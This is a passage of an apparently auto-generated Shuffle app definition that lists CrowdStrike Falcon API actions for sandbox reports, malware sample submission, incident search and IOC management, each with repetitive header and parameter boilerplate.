Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving reports from. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Maximum number of report IDs to return. Max: 5000.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort order: `asc` or `desc`.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_full_sandbox_report - label: FalconX Sandbox - Get a full sandbox report - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of a report. Find a report ID from the response when submitting - a malware sample or search with `/falconx/queries/reports/v1`. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_report - label: FalconX Sandbox - Delete report based on the report ID Operation can be checked for success - by polling for the report ID on the reportsummaries endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of a report. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_list_of_samples - label: FalconX Sandbox - retrieve a list with sha256 of samples that exist and customer has rights - to access them maximum number of accepted items is 200 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "sha256s": "${sha256s}" - } - value: |- - { - "sha256s": "${sha256s}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: check_status_of_sandbox_analysis - label: FalconX Sandbox - Check the status of a sandbox analysis Time required for analysis varies - but is usually less than 15 minutes - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of a submitted malware sample. Find a submission ID from the response - when submitting a malware sample or search with `/falconx/queries/submissions/v1`. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: submit_upload_for_sandbox_analysis - label: FalconX Sandbox - Submit an uploaded file or a URL for sandbox analysis Time required for analysis - varies but is usually less than 15 minutes - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_short_summary_version_of_a_sandbox_report - label: FalconX Sandbox - Get a short summary version of a sandbox report - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of a summary. Find a summary ID from the response when submitting - a malware sample or search with `/falconx/queries/reports/v1`. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: find_submission_ids_for_uploaded_files - label: FalconX Sandbox - Find submission IDs for uploaded files by providing an FQL filter and paging - details Returns a set of submission IDs that match your criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving submissions from. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Maximum number of submission IDs to return. Max: 5000.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort order: `asc` or `desc`.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_the_file_associated_with_the_given_id_sha256 - label: FalconX Sandbox - retrieve the file associated with the given ID SHA256 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The file SHA256. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Flag whether the sample should be zipped and password protected with - pass='infected' - name: password_protected - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_sample_from_the_collection - label: FalconX Sandbox - Removes a sample including file meta and submissions from the collection - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The file SHA256. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: upload_for_sandbox_analysis - label: FalconX Sandbox - Upload a file for sandbox analysis After uploading use falconxentitiessubmissionsv1 - to start analyzing the file - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Name of the file. - name: file_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: A descriptive comment to identify the file for other users. - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: "Defines visibility of this file in Falcon MalQuery, either via the - API or the Falcon console.\n\n- `true`: File is only shown to users within your - customer account\n- `false`: File can be seen by other CrowdStrike customers - \n\nDefault: `true`." - name: is_confidential - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_behaviors - label: Incidents - Search for behaviors by providing an FQL filter sorting and paging details - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort on, followed by a dot (.), followed by the sort - direction, either "asc" or "desc". - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_incidents - label: Incidents - Search for incidents by providing an FQL filter sorting and paging details - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort on, followed by a dot (.), followed by the sort - direction, either "asc" or "desc". - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: query_crowdscore - label: Incidents - Query environment wide CrowdScore and return the entity data - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-2500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort on, followed by a dot (.), followed by the sort - direction, either "asc" or "desc". - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_actions_on_incidents - label: Incidents - Perform a set of actions on one or more incidents such as adding tags or - comments or updating the incident name or description - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "action_parameters": "${action_parameters}", - "ids": "${ids}" - } - value: |- - { - "action_parameters": "${action_parameters}", - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_details_on_behaviors - label: Incidents - Get details on behaviors by providing behavior IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_details_on_incidents - label: Incidents - Get details on incidents by providing incident IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_combined_for_indicators - label: IOCs - Get Combined for Indicators - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from. Offset and After params - are mutually exclusive. If none provided then scrolling will be used by default. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The sort expression that should be used to sort the results. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_indicators_by_ids - label: IOCs - Get Indicators by ids - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the Indicators to retrieve - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_indicators_by_ids - label: IOCs - Delete Indicators by ids - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The FQL expression to delete Indicators in bulk. If both 'filter' - and 'ids' are provided, then filter takes precedence and ignores ids. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ids of the Indicators to delete. If both 'filter' and 'ids' are - provided, then filter takes precedence and ignores ids - name: ids - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The comment why these indicators were deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_indicators - label: IOCs - Create Indicators - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Whether to submit to retrodetects - name: retrodetects - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set to true to ignore warnings and add all IOCs - name: ignore_warnings - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "comment": "${comment}", - "indicators": "${indicators}" - } - value: |- - { - "comment": "${comment}", - "indicators": "${indicators}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_indicators - label: IOCs - Update Indicators - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Whether to submit to retrodetects - name: retrodetects - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set to true to ignore warnings and add all IOCs - name: ignore_warnings - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "bulk_update": "${bulk_update}", - "comment": "${comment}", - "indicators": "${indicators}" - } - value: |- - { - "bulk_update": "${bulk_update}", - "comment": "${comment}", - "indicators": "${indicators}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_number_of_hosts_that_have_observed_a_given_custom_ioc - label: IOCs - Number of hosts in your customer account that have observed a given custom - IOC - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |2 - - The type of the indicator. Valid types include: - - sha256: A hex-encoded sha256 hash string. Length - min: 64, max: 64. - - md5: A hex-encoded md5 hash string. Length - min 32, max: 32. - - domain: A domain name. Length - min: 1, max: 200. - - ipv4: An IPv4 address. Must be a valid IP address. - - ipv6: An IPv6 address. Must be a valid IP address. - name: type - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The string representation of the indicator - name: value - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_process_details - label: IOCs - For the provided ProcessID retrieve the process details - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ProcessID for the running process you want to lookup - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_hosts_that_have_observed_a_given_custom_ioc - label: IOCs - Find hosts that have observed a given custom IOC For details about those - hosts use GET devicesentitiesdevicesv1 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |2 - - The type of the indicator. Valid types include: - - sha256: A hex-encoded sha256 hash string. Length - min: 64, max: 64. - - md5: A hex-encoded md5 hash string. Length - min 32, max: 32. - - domain: A domain name. Length - min: 1, max: 200. - - ipv4: An IPv4 address. Must be a valid IP address. - - ipv6: An IPv6 address. Must be a valid IP address. - name: type - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The string representation of the indicator - name: value - example: "" - 